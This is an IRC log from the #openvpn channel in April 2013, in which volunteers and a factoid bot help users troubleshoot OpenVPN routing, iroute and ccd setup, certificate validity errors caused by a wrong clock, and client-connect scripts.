16:46 < pekster> I don't understand the question
16:47 < pekster> As long as you're using encryption (ie: not using `--cipher none` in your config) the data sent over the VPN tunnel is encrypted
16:47 < pekster> It's up to you to route traffic you want across that tunnel
16:48 < manitou> i run openvpn . (via raspberry pi ) from my home and if i connect from different connection still show my home ip !?
16:48 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
16:48 < pekster> What still shows?
16:49 < manitou> my home ip
16:49 < pekster> If you intend to redirect all your outbound traffic across it, you clearly haven't yet done that
16:49 < manitou> when i connect from school !
16:49 < pekster> Okay, you're not making any sense
16:50 < pekster> What does "school" have to do with some device at home?
16:50 < pekster> All the info you need to have openvpn help alter your routing tables when it starts up can be found in the !redirect output above
16:50 < pekster> Have you made arrangements to modify your gateway for all outbound traffic?
16:50 < manitou> i just tryed to conect from my phone (3g) and if i go to check my ip on site , shows ip of my router
16:51 < pekster> 3g doesn't use your router; it uses the cellular provider's netwnork
16:52 < EugeneKay> 3donG
16:53 < manitou> mip.dk show home ip not 3g
16:53 -!- manitou [~manitou@unaffiliated/manitou] has quit [Quit: Konversation terminated!]
16:53 < pekster> Is it a full moon or something today? :(
16:54  * EugeneKay bends over
16:57 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Ping timeout: 245 seconds]
16:57 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:00 -!- Zenum [~quassel@62.113.213.234] has joined #openvpn
17:00 -!- Zenum [~quassel@62.113.213.234] has quit [Changing host]
17:00 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
17:04 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
17:04 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
17:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
17:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:17 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
17:17 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
17:18 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 240 seconds]
17:19 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
17:19 -!- franks2_ [~frank@91.229.143.143] has quit [Ping timeout: 240 seconds]
17:20 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
17:21 -!- franks2 [~frank@91.229.143.143] has joined #openvpn
17:22 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
17:22 -!- [fred] [fred@konfuzi.us] has joined #openvpn
17:22 -!- oc80z [oc80z@blea.ch] has joined #openvpn
17:26 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
17:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:35 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:45 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 245 seconds]
17:50 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
17:50 < Lars_G> Good day.
17:50 < Lars_G> Question, iroute can't be used on the client itself? must it be done with ccd?
17:51 < pekster> !iroute
17:51 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
17:51 < pekster> It only ever makes sense in a server context in a ccd (or --client-connect script) context
17:52 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
17:52 < Lars_G> hmm
17:53 < Lars_G> Sorry it seems I cant do this in private.
17:53 < Lars_G> !ccd
17:53 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
17:53 < pekster> It's fine to do it here, otherwise you need to use /m vpnhelper factoids whatis #openvpn THING
17:54 < Lars_G> Odd btw I thought iroute was basically "I have this lan behind me" on the client side, which matches the server's knowledge of these routes via "route" and it's passing to other clients via "push". I really don't get why it's server side, but thanks, I'll setup ccd
17:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:56 < pekster> Lars_G: No, iroute means "network X is reachable via client Y" and since the notion of a client only ever makes sense from a server perspective, it has to be defined there
17:57 < Lars_G> That makes sense
17:57 < pekster> It's required to use it in addition to the --route statement. --route is used to interact with the kernel routing table, while --iroute is used strictly within an openvpn server to route the traffic to a specific client
17:57 < Lars_G> And it's necesary I guess considering the networks must be routed thorough the server's address on the other clients.
17:58 < Lars_G> So server needs to know where to route it to.
17:58 < pekster> Yup. The kernel gets it as far as openvpn, but then openvpn has to encapsulate it, in effect the application's own form of routing
18:01  * Lars_G starts fancying very stupid things like auto irouting on openvpn, rip inside openvpn and such
18:01 < Lars_G> thanks pekster
18:01 < Lars_G> seems I lost one system (the irouting one) sigh.
18:02 < pekster> You can get pretty creative with --client-connect scripting, pulling dynamic info from whatever backend you want (databases, LDAP, the RTT of a ping to google, anything you can code)
18:03 < Lars_G> So it's like the old c/c++ joke
18:03 < pekster> If you want things like OSPF, multicast, you'd want a tap VPN since those are L2 protocols
18:03 < Lars_G> of course
18:05 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 264 seconds]
18:05 < Lars_G> Hmmm I think I screwed my machine's network somehow, I can't reach it even outside the vpn
18:05 < Lars_G> :/
18:06 < Lars_G> Well, if it WAS openvpn, I'll kill the server, and wait for the client to die, and undo.
18:06 < Lars_G> I hope
18:09 < Lars_G> Nothing.
18:09 < Lars_G> Oh well. It seems I'll have to try tomorrow
18:10 < Lars_G> sigh and this was kinda important. Oh well I'll use ssh tunneling meanwhile, thanks pekster
18:10 < Lars_G> Oh my....
18:11 < Lars_G> pekster: Say I have a lan on client1, let's say 10.0.1.0/24
18:11 < Lars_G> pekster: But I also have a dmz at client1, 10.0.3.0/24
18:11 < Lars_G> since client1 needs to use it's gw to access the dmz... can I push the iroute for the dmz to client1?
18:12 < Lars_G> Or i can't do it, since it has to jump thorough it's default gw?
18:12 < pekster> "has a dmz" <-- explain your network setup, not stupid home router language
18:13 < Lars_G> client1 is in 10.0.1.0/24, gw is a firewall that handles 3 lans, including 10.0.3.0/24
18:13 < Lars_G> Client1 can normally access that lan thorough the firewall.
18:13 < pekster> Set up routing on the router as you would normally
18:14 < Lars_G> What router, the firewall? it's set up as normal.
18:14 < pekster> The VPN can route to network behind your client, including other networks as long as all ther routers on the client end know how wto route back across your network
18:14 < Lars_G> Ok, correct.
18:15 < pekster> From a routing standpoint on the client end, there's nothing "special" about the VPN client. It's just another router as far as your network is concerned
18:16 < pekster> The gateway at 10.0.3/24 needs to know how to route the return traffic originating across the VPN back to the client so it can go back. You could NAT it, but it's best to avoid NAT internally wherever possible
18:16 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:16 < Lars_G> And vpn just drops packets into the kernel stack on the client, and the kernel routes as it normally does
18:16 < Lars_G> No, i don't nat internally
18:16 < Lars_G> Never liked it
18:17 < Lars_G> Both networks have a limited set of connections, but they can see eachother fine (routing is setup correctly)
18:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:28 -!- Devastator- [~devas@177.18.199.225] has joined #openvpn
18:28 -!- Devastator- [~devas@177.18.199.225] has quit [Changing host]
18:28 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
18:29 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
18:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:42 < JackSparrow> hi, my linux server receive SYN on tun0 and reply with a SYN,ACK on eth0, could someone help me?
18:43 < pekster> Fix your routing to send the reply back across the correct interface
18:44 < pekster> What's the larger-picture goal here?
18:44 < JackSparrow> i'd like to make only transmission-daemon use the tun0 interface
18:45 < JackSparrow> (now i try with netcat)
18:45 < pekster> You want policy routing then, because the default routing table is for all traffic not otherwise defined to use a more specific table
18:46 < JackSparrow> yeah, i just found that, is it related ? http://superuser.com/questions/376667/how-to-route-only-specific-subnet-source-ip-to-a-particular-interface
18:46 <@vpnHelper> Title: linux - How to route only specific subnet (source ip) to a particular interface? - Super User (at superuser.com)
18:46 < pekster> Search the web for "LARTC HowTo" and follow it. In short, you need to define a secondary routing table that uses the gateway across the tun0 adapter
18:46 < JackSparrow> okay, thank you. :)
18:47 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:47 < pekster> Easiest might be to use the -m owner match inside netfilter, use it to create a connmark, then copy that to the fwmark (per-packet mark) and use that inside the `ip rule` match to send it to your secondary routing table
18:47 < pekster> Pretty much all of that it outside the scope of openvpn though
18:48 < pekster> Once you have your VPN tunnel up and your server-side supporting forwarding, OpenVPN doesn't matter anymore since it's merely transporting the traffic. You need to use a combination of `ip` commands (ip rule, and ip route) plus firewall configuration for the rest
18:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 240 seconds]
19:09 < JackSparrow> pekster: it works perfectly, thanks again.
19:20 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
20:04 -!- Devastator- is now known as Devastator
20:19 -!- raidz is now known as raidz_away
20:28 -!- franks2 [~frank@91.229.143.143] has quit [Ping timeout: 260 seconds]
20:34 -!- franks2 [~frank@91.229.143.143] has joined #openvpn
20:43 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has quit [Quit: leaving]
20:58 -!- franks2 [~frank@91.229.143.143] has quit [Ping timeout: 264 seconds]
21:03 -!- franks2 [~frank@91.229.143.143] has joined #openvpn
21:21 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 258 seconds]
21:26 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
22:00 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
22:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
22:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:28 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 256 seconds]
22:28 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Read error: Connection timed out]
22:45 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
23:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
23:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
23:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
23:30 -!- mode/#openvpn [+o dazo_afk] by ChanServ
23:30 -!- dazo_afk is now known as dazo
23:39 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
23:52 -!- ravel_cmd [ravel_exe@210.195.232.217] has joined #openvpn
23:55 -!- ravel_cmd [ravel_exe@210.195.232.217] has quit [Remote host closed the connection]
23:56 -!- ravel_exe [ravel_exe@210.195.232.217] has quit [Ping timeout: 260 seconds]
23:56 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
--- Day changed Tue Apr 16 2013
00:00 -!- ravel_cmd [ravel_exe@210.195.232.217] has joined #openvpn
00:03 -!- ravel_exe [ravel_exe@210.195.232.217] has quit [Ping timeout: 252 seconds]
00:13 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
00:16 -!- ravel_cmd [ravel_exe@210.195.232.217] has quit [Ping timeout: 252 seconds]
00:30 -!- ravel_cmd [ravel_exe@210.195.232.217] has joined #openvpn
00:33 -!- ravel_exe [ravel_exe@210.195.232.217] has quit [Ping timeout: 258 seconds]
00:38 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 258 seconds]
00:43 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:50 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
00:53 -!- ravel_cmd [ravel_exe@210.195.232.217] has quit [Ping timeout: 252 seconds]
01:04 -!- ravel_exe [ravel_exe@210.195.232.217] has quit [Ping timeout: 256 seconds]
01:21 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Ping timeout: 276 seconds]
01:21 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
01:22 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
01:23 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Client Quit]
01:33 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
01:49 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:19 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
02:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:27 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
02:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
02:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:01 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
03:07 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
03:08 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:12 -!- mchou [~quassel@unaffiliated/mchou] has quit [Ping timeout: 245 seconds]
03:13 -!- ade_b [~Ade@bba427453.alshamil.net.ae] has joined #openvpn
03:13 -!- ade_b [~Ade@bba427453.alshamil.net.ae] has quit [Changing host]
03:13 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:13 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
03:15 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
03:47 -!- mattock is now known as mattock_afk
04:57 -!- pagios [~pagios@46.19.194.80] has quit [Remote host closed the connection]
04:59 -!- u0m3 [~Radu@92.80.85.78] has quit [Ping timeout: 264 seconds]
05:28 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
05:29 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
05:29 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
05:29 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:38 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
05:49 -!- brute11k [~brute@89.249.231.147] has quit [Read error: Connection reset by peer]
05:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:55 -!- u0m3 [~Radu@109.96.140.28] has joined #openvpn
06:02 -!- u0m3 [~Radu@109.96.140.28] has quit [Read error: Connection reset by peer]
06:06 -!- u0m3 [~Radu@92.80.87.68] has joined #openvpn
06:22 -!- miha [~miha@unaffiliated/miha] has joined #openvpn
06:23 < miha> would anyone know how to set up ip forwarding on debian/ispconfig openvpn server?
06:23 < miha> http://wiki.debian.org/OpenVPN#Forward_traffic_via_VPN this worked on server without ispconfig.. and its firewall
06:23 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
06:27 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
06:37 -!- pagios [~pagios@46.19.194.80] has joined #openvpn
06:48 < pagios> Options error: --client-connect requires --mode server
06:48 < pagios> what is this error?
06:49 -!- MarKsaitis [~MarKsaiti@194.168.211.114] has joined #openvpn
06:53 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
06:56 -!- abyss [~abyss@i-free.pl] has joined #openvpn
06:56 < abyss> hi
06:56 < pagios> cant i use scripting with secret instead of tls-server?
06:58 -!- miha [~miha@unaffiliated/miha] has left #openvpn []
07:03 < combsbj> I want to use openvpn on ddwrt, but not on my gateway router. I have a second wireless router with wan disabled and radio off just to be used for vpn.  Port 1194 is forwarded to it. Only one eth port conencted to lan.  Do I need to setup routing on this or set static routes on the main gateway router?
07:04 -!- brute11k [~brute@89.249.231.147] has joined #openvpn
07:08 < Dropje> pagios: client-connect is a server side "hook", seems you're trying to use it on the client
07:09 < Dropje> combsbj: depends on your goal.. if you're trying to access the lan behind your VPN server, configure a static route on your default gateway, or use Masquerade on the VPN server
07:09 < Dropje> !serverlan
07:09 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
07:10 < combsbj> thanks
07:16 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
07:19 < pagios> Dropje: not really i am using a p2p no client/server model : http://pastebin.com/GetUhfiB
07:23 < abyss> I configure openvpn server and client and when I try connect I get smth like this: http://pastebin.com/iTGnY4gE
07:26 < abyss> it's my config file (server): http://pastebin.com/McRZ8pNi
07:26 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
07:27 < abyss> my client config: http://pastebin.com/itNZGXV3
07:28 < abyss> in line 6 in error log show different chain than I make via easy-rsa. Probably that is the main problem, but why it's show different data?
07:29 < EugeneKay> You don't have a key line in your server.conf
07:31 -!- master_of_master [~master_of@p4FF24492.dip.t-dialin.net] has joined #openvpn
07:31 < abyss> uhh I'm sorry there is line: key /etc/openvpn/easy-rsa/keys/server.key
07:32 < abyss> but there's comment so grep -v cut off this line;)
07:34 -!- master_o1_master [~master_of@p4FF24CA8.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
07:34 < abyss> that is good config file: http://pastebin.com/CHVdfRDN
07:36 < abyss> someone can help?
07:48 -!- Willis [Willis@173.234.237.131] has joined #openvpn
07:56 -!- MarKsaitis [~MarKsaiti@194.168.211.114] has quit [Ping timeout: 248 seconds]
08:05 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Ping timeout: 255 seconds]
08:08 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
08:12 < pagios> error: http://pastie.org/7599348
08:18 < pagios> i am getting  error=certificate is not yet valid
08:18 < pagios> TLS Error: TLS object -> incoming plaintext read error
08:18 < rob0> "not yet valid"
08:18 < pagios> rob0: yea what should i do?
08:19 < rob0> I suppose it sounds like you generated your certificate on a machine which had the time set wrong!
08:19 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
08:19 < pagios> rob0 no
08:19 < rob0> "not yet valid"
08:19 < pagios> both client and server have same time
08:20 < pagios> but different location etc..
08:20 < rob0> 2013-04-16 13:20 UTC now. When is your certificate valid?
08:20 -!- mback2k_ is now known as mback2k
08:22 < pagios> rob0:  why is it working on UTC?
08:22 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
08:23 < rob0> Your CA should not be on a client nor a server. Ideally it should not be accessible through the network at all. Some folks keep their easy-rsa or other CA frontend on a USB stick, and lock it in a safe except when needed to sign a certificate.
08:23 < pagios> sure i am doing my first  experimental installation for now, but it is worth noting
08:23 < pagios> now whats with this certificate validity?
08:23 < pagios> it is 16:30 on lthe server
08:24 < rob0> Indeed, the time is set wrong.
08:24 < pagios> what do you mean ? :)
08:24 < rob0> It's 16:30 now, exactly nowhere.
08:24 < pagios> when i generate a certification it follows the UTC?
08:25 < pagios> certificate*
08:25 < rob0> You have not answered my question.
08:26 < pagios> sorry didnt get your question
08:27 < pagios> i am the one generating the certificate i followed the howto on openvpn
08:28 < fordbr> I suspect rob0 means: ... When is your certificate valid?
08:28 < pagios> fordbr: how can i tell ?
08:29 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
08:29 < pagios> i wasnt prompted to any validity parameters when building the CA configuration
08:29 < fordbr> Look at the certificate contents
08:30 < rob0> It was probably logged somewhere before the 4 (and one truncated) lines you showed us.
08:30 < pagios> Not Before: Apr 16 19:40:29 2013 GMT
08:30 < rob0> bingo
08:30 < pagios> :)
08:30 < pagios> can this be configured to take TIme.NOw() ?
08:30 < rob0> You can wait until your systems think it is 19:40:29 UTC, or you can scrap it and start again
08:31 < pagios> i prefer scraping, but i need to tell the certificate to be valid at the time i build the CA
08:31 < EugeneKay> It is. Your clock is wrong.
08:32 < rob0> I run ntpd on all my systems, including the one which is SSL CA.
08:32 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 245 seconds]
08:32 < pagios> it reads from the data/time date right? not any bios thing
08:32 < EugeneKay> `ntpdate 0.pool.ntp.org` will fix your several-hours error.
08:32 < pagios> so date is correct :)
08:33 < EugeneKay> Except for the part where it isn't
08:33 < pagios> on both client and server it is 16:32 so it should have set it to that time of validity
08:33 < EugeneKay> The current GMT time is 13:33
08:33 < EugeneKay> So that's wrong.
08:33 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Client Quit]
08:34 < EugeneKay> What does `date +%s` say?
08:34 < pagios> 1366119290
08:35 < rob0> Read up in your OS/distro documentation about how to set and maintain the correct time.
08:35 < EugeneKay> Sounds close. How about `date` ?
08:35 < pagios> Tue Apr 16 09:35:30 EDT 2013
08:35 < pagios> something happened
08:35 < pagios> when i execute ntpupdate :)
08:35 < EugeneKay> So where in the hell is your 16:32 figure coming from? ;-)
08:36 < pagios> ntpupdate changed it hehe
08:36 < pagios> let me redo it
08:36 < pagios> thanks guys
08:37 < rob0> your locale must be set wrong ... again, see your OS/distro documentation about this
08:37 < pagios> yep
08:43 -!- JSharpe_ [~JSharpe@90.211.142.250] has quit [Read error: Connection reset by peer]
08:44 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has joined #openvpn
08:58 < pagios> why do we generate Generate Diffie Hellman parameters ?
09:00 < rob0> Because OpenSSL requires it. Ask them the "why".
09:01 <@ecrist> !dh
09:01 <@vpnHelper> "dh" is build-dh from easy-rsa and option dh in ssl-admin, creates a file which is a prime number the size of bits you defined (1024 default) which is used in the diffie-hellman algorithm to provide a method to negotiate a secure connection over an insecure channel. just one of the layers of encryption available to you in your VPN
09:01 <@ecrist> it's not required, but recommended
09:02 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
09:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:04 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
09:06 < pagios> ok now i get these errors on client side when tunnel is established :) Tue Apr 16 17:05:21 2013 read from TUN/TAP : File descriptor in bad state (code=77)
09:06 < rob0> is it? Oh, I thought it was necessary.
09:11 < abyss> I have trouble: http://pastebin.com/jsP7kCDd it's my config server file:http://pastebin.com/CHVdfRDN
09:11 < abyss> any help, please?
09:20 < pagios> rob0: http://pastie.org/7599980
09:20 <@ecrist> rob0: it's required on the server, not on the client
09:20 < pagios> looks like tunnel is fine but cannot ping :)
09:20 <@ecrist> for servers that use --tls-server
09:22 < pagios> is this error related? Tue Apr 16 17:16:26 2013 WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.1.0.1 10.1.0.2'
09:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
09:24 -!- mback2k is now known as mback2k_
09:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:26 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
09:37 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:47 < abyss> now I get: unable to connect because your certificate has expired or the system time is incorrect , strange:/
09:50 < pagios> is this a correct establishement of a tunnel ? http://pastie.org/7599980
09:51 < pagios> i am getting this warning: WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.1.0.1 10.1.0.2'
09:55 < fordbr> pagios: The tunnel is up but the warning is giving you a clue about your routing
09:55 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
09:55 < pagios> fordbr: i tried setting up the ip address on both ends but still cannot ping
09:55 < Lars_G> Ok, Something's wrong.
09:55 < pagios> lol smart :)
09:56 < Lars_G> client1 has a lan I want to access from everywhere. so on the server I set up a "route x.x.x.x" and a "push route x.x.x.x" plus on the ccd for the user, I set up a single line with an "iroute x.x.x.x y.y.y.y" (the mask), but when I start client1 it receives the push and sets up the route to it's own lan thorough the vpn....
09:56 < Lars_G> pagios: I was talking about my own dilema :D
09:57 < pagios> :D
09:57 -!- xbanux1 [~xbanux@115.254.75.113] has quit []
09:57 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 255 seconds]
09:57 < fordbr> pagios: and you switched the addresses?
09:57 < pagios> ifconfig 10.1.0.1 10.1.0.2 on server and ifconfig 10.1.0.2 10.1.0.1 on client
09:57 < pagios> correct fordbr  ?
09:58 < fordbr> Looks fine
10:01 < Lars_G> Any tips please?
10:01 < fordbr> Lars_G: The "push route ..." has the same mask as the iroute?
10:02 < Lars_G> should, let me double check
10:02 < Lars_G> I'm using mask in both, cidr in neither, does that influence?
10:03 < fordbr> Lars_G: Shouldn't matter but the push should not occur as OpenVPN contains code to prevent that.
10:04 < pagios> ifconfig 10.1.0.2 10.1.0.1 <- format is ifconfig localipaddress   remoteaddress of who ?
10:04 < Lars_G> Yes, the mask is the same in route, push route and iroute
10:06 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 252 seconds]
10:06 < pagios> fordbr: why do we flip the ips on server and client? what is the concept behind it
10:07 < fordbr> pagios: It is as if you ran the ifconfig command from the command line. It is configuring the interface on the computer the proces is running on.
10:07 < fordbr> s/proces/process/
10:07 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has quit [Read error: Operation timed out]
10:08 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
10:08 < pagios> fordbr: ok so i usually do ifconfig ip1 not ifcofnig ip1 ip2
10:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:13 < Lars_G> Still does it. sigh
10:13 < Lars_G> pagios: The second is gateway
10:13 < Lars_G> or local remote
10:13 < rob0> !clientlan
10:14 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
10:14 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
10:14 < rob0> Lars_G, did you already see the flowchart?
10:14 < pagios> !ccd
10:14 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
10:14 < Lars_G> rob0: I can't right now :) but I'll try
10:14 < rob0> pagios, it's a point-to-point (peer) connection, not a server/client.
10:14 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
10:14 < pagios> rob0: what if i have 10 clients and 1 server?
10:15 < Lars_G> rob0: And all steps are already there
10:15 < pagios> i establish 10 gateways?
10:15 < rob0> pagios, you'd use a server/client config, of course.
10:15 -!- raidz_away is now known as raidz
10:15 < Lars_G> brb
10:15 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has quit [Quit: leaving]
10:15 < pagios> ok cool , next step is me trying to run a server script when client connects
10:16 < pagios> so i did the following: http://pastebin.com/Ypp6tkEa
10:16 < pagios> but unfortunately it complains with WARNING: Failed running command (--client-connect): could not execute external program
10:16 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.0]
10:17 < EugeneKay> Read your log closer. You probably don't have --script-security set right, or the script you're calling isn't chmod +x
10:18 < pagios> EugeneKay: i chmoded to 777 and as you see i set the seucirty script-security 2
10:19 < pagios> check the paste i just posted :)
10:19 < EugeneKay> YOu're attemping to execute ./sh
10:20 < EugeneKay> Your shell script should have a shebang; just execute /path/to/script.sh
10:20 < EugeneKay> If it doesn't, do "/bin/sh /path/to/script.sh"
10:20 < rob0> 777? Ugh.
10:21 < pagios> whats a shebang first time i hear of
10:22 < pagios> i know the song but not thetechnical word
10:22 < EugeneKay> !google shebang
10:22 <@vpnHelper> Shebang (Unix) - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Shebang_(Unix)>; Shebang - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Shebang>; The whole shebang: <http://www.phrases.org.uk/meanings/the-whole-shebang.html>
10:22 < pagios> nice :) it works
10:24 < pagios> good to know that if the script fails to execute the tunnel is dropped
